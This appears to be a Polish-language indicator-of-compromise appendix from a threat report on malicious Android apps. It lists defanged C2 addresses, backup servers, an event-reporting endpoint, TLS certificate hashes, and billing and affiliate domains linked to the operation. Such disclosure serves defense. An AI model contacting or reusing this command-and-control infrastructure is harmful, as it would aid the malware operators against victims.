47.84.77[.]127: C2 domyślnego payloadu Messenger Pro 47.84.194[.]202/asnvoycs: C2 payloadu dla wybranych krajów 47.84.193[.]174/j26j8vf7: C2 payloadu AqMu aplikacji Phone Cleaner Master 47.84.57[.]5: adres zapasowy Phone Cleaner Master 43.106.56[.]154: adres zapasowy PDF Scanner Art 8.219.222[.]81: adres zapasowy Text Chat 47.245.84[.]227: adres zapasowy Smart Clean 47.84.66[.]120: adres zapasowy Frekas 129.226.172[.]250: wspólny zapasowy C2 47.84.188[.]213/abxy/relay: przekaźnik payloadu dla wybranych państw (nieaktywna funkcja) api.appbhwljk[.]com/api/v3/wkev: wspólny endpoint raportowania zdarzeń x.euono[.]com: francuska strona docelowa i host zdalnych funkcji pomocniczych payloadu dla wybranych krajów auezon[.]com: francuski host afiliacyjny payloadu dla wybranych krajów

Pasywne powiązania infrastruktury

Host API Balancer Aliyun Zaobserwowane adresy IP
api.evabunt[.]link alb-htjwboeswuvyfbey5r.us-east-1.alb.aliyuncsslbintl[.]com 43.111.41[.]104, 47.85.93[.]229
api.piaagt[.]click alb-nyge1lm61a4q9joot5.us-east-1.alb.aliyuncsslbintl[.]com 47.90.133[.]78, 43.111.55[.]59
api.fuzwek[.]click alb-a53d7s5jp0wd9h0iam.us-east-1.alb.aliyuncsslbintl[.]com 47.85.176[.]98, 47.85.136[.]47
api.swepqk[.]click alb-k9ugfht8xgewgi1lrb.us-east-1.alb.aliyuncsslbintl[.]com 47.252.11[.]251, 47.90.139[.]92
api.vamko[.]click alb-kgoj9yc3iyv4znqtoc.us-east-1.alb.aliyuncsslbintl[.]com 47.85.160[.]112, 43.111.60[.]66

Poniżej przedstawiamy powiązania TLS hostów API używanych przez nowo odzyskane aplikacje. Dla czterech nowych hostów dostępne nam dane pasywne nie zawierały nazwy balancera Aliyun:

Host API Zaobserwowane adresy IP SHA-256 certyfikatu TLS
api.piaagt[.]click 47.90.133[.]78, 43.111.55[.]59 114c6c6afb589ca659bcff51f3a81d748adaeb7c5f4ba900063ca528c59397ab
api.funtpjw[.]click 47.85.54[.]57, 47.85.210[.]65 8a083a4ffa3168df140cd4de41da67dddb3c5c840cf67e29c9af35c022c4b339
api.tegonp[.]click 43.111.31[.]36, 47.85.212[.]169 0625d00bc1b91a22fb16b40872952fda573372aacaed7bd1aa455f4ad1b41e38
api.merfunk[.]click 47.85.86[.]6, 47.253.250[.]144 3f9e594682d10896073bc083a024ea4b2b68b512d17eafe3e8510b000d657e89
api.dokersxxnv[.]click 47.253.204[.]73, 47.253.180[.]31 ce6a7084bf7a93fb5547b2e474bbad87ddd343f40a296124b6d83203040cfcb9
  • SHA-256 ponownie użytego certyfikatu TLS: 5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6
  • Podmiot certyfikatu: ablefee[.]wiki
  • Inne endpointy prezentujące ten certyfikat: 43.98.201[.]44, 43.106.58[.]250, 8.219.222[.]81, 47.245.84[.]227, 47.84.66[.]120

ablefee[.]wiki jest pasywnym powiązaniem wynikającym z certyfikatu. Messenger Pro nie kontaktował się z tą domeną i nie występuje ona w jego kodzie.

Polska infrastruktura rozliczeń i programów afiliacyjnych

nmx4e6qj[.]com ua.forward-tv[.]net lp.ooxxporn[.]net dcb.teleaudio[.]pl consulate.teleaudio[.]pl epayment.teleaudio[.]pl aff.odyss[.]club izy0[.]com

Domeny te zaobserwowano w zadaniach przydzielonych przez C2. Obecność na tej liście nie dowodzi, iż domenę kontroluje operator złośliwego oprogramowania.

Idź do oryginalnego materiału